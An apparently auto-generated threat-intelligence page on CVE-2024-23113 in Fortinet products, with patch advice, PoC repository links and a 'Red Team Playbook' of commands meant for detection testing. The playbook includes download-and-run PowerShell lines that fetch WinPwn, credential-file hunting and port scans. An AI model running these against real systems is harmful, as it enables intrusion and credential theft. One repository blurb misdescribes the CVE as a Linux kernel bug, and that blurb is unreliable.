CVE-2024-23113
Overview
This vulnerability is a use of externally-controlled format string flaw affecting Fortinet FortiSwitchManager and related products. It arises from improper handling of user-supplied input used directly as a format string in logging or output functions. The affected component is the input processing mechanism within FortiSwitchManager versions 7.2.0 through 7.2.3 and 7.0.0 through 7.0.3, as well as specific FortiOS, FortiProxy, and FortiPAM versions.
Vulnerability Description
A use of externally-controlled format string in Fortinet FortiOS versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.6, 7.0.0 through 7.0.13, FortiProxy versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.8, 7.0.0 through 7.0.14, FortiPAM versions 1.2.0, 1.1.0 through 1.1.2, 1.0.0 through 1.0.3, FortiSwitchManager versions 7.2.0 through 7.2.3, 7.0.0 through 7.0.3 allows attacker to execute unauthorized code or commands via specially crafted packets.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary code or commands on the affected Fortinet devices remotely. This enables full system compromise, including unauthorized control over device operations, potential data exfiltration, and disruption of network services. The exploit requires no user interaction or credentials, increasing the risk of widespread exploitation in exposed environments. Successful exploitation can lead to significant operational and security impacts for organizations relying on these Fortinet products.
Solution
Fortinet has released security updates addressing this vulnerability in FortiSwitchManager versions 7.2.4 and later, as well as corresponding patches for FortiOS, FortiProxy, and FortiPAM. Administrators should apply the latest firmware updates as detailed in Fortinet advisory FG-IR-24-029 available at https://fortiguard.com/psirt/FG-IR-24-029. No workarounds are recommended; prompt patching is required to mitigate exploitation.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (11)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiswitchmanager | All |
cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiswitchmanager | All |
cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortipam | All |
cpe:2.3:o:fortinet:fortipam:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortipam | All |
cpe:2.3:o:fortinet:fortipam:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortipam | 1.2.0 |
cpe:2.3:o:fortinet:fortipam:1.2.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (8)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
p33d/CVE-2024-23113
|
p33d | 11 | 4 | 2024-10-21 | View |
|
puckiestyle/CVE-2024-23113
|
puckiestyle | 1 | 1 | 2024-10-31 | View |
|
CheckCve2/CVE-2024-23113
test_private_CVE
|
CheckCve2 | 1 | 1 | 2024-10-11 | View |
|
MAVRICK-1/cve-2024-23113-test-env
|
MAVRICK-1 | 1 | 0 | 2025-07-02 | View |
|
ownouwa/cve-2024-23113-poc
CVE-2024-23113 是一个在 Linux Kernel 中被发现的漏洞,它属于 任意代码执行漏洞,影响了 bpf (Berkeley Packet Filter) 子系统。具体来说,这个漏洞影响了 bpf 程序的 bpf_prog...
|
ownouwa | 0 | 1 | 2025-03-20 | View |
|
iambrayden/CVE-2024-23113
This python scripts searches a client list to see if their FortiGate device is vulnerable to this CVE.
|
iambrayden | 0 | 0 | 2025-05-02 | View |
|
MinhPham123456789/PoC-CVE-2024-23113
A proof of concept for CVE 2024 23113 inspired by WatchTowr's article.
|
MinhPham123456789 | 0 | 0 | 2026-05-25 | View |
|
valornode/CVE-2024-23113
This python scripts searches a client list to see if their FortiGate device is vulnerable to this CVE.
|
valornode | 0 | 0 | 2025-05-02 | View |
Threat Feed
20 eventsSighting activity recorded
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Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-135 | Format String Injection |
48%
|
High | High | |
| CAPEC-67 | String Format Overflow in syslog() |
38%
|
High | Very High |
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-23113 |
| fortiguard.com |
GitHub CVE
|
https://fortiguard.com/psirt/FG-IR-24-029 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-23113 |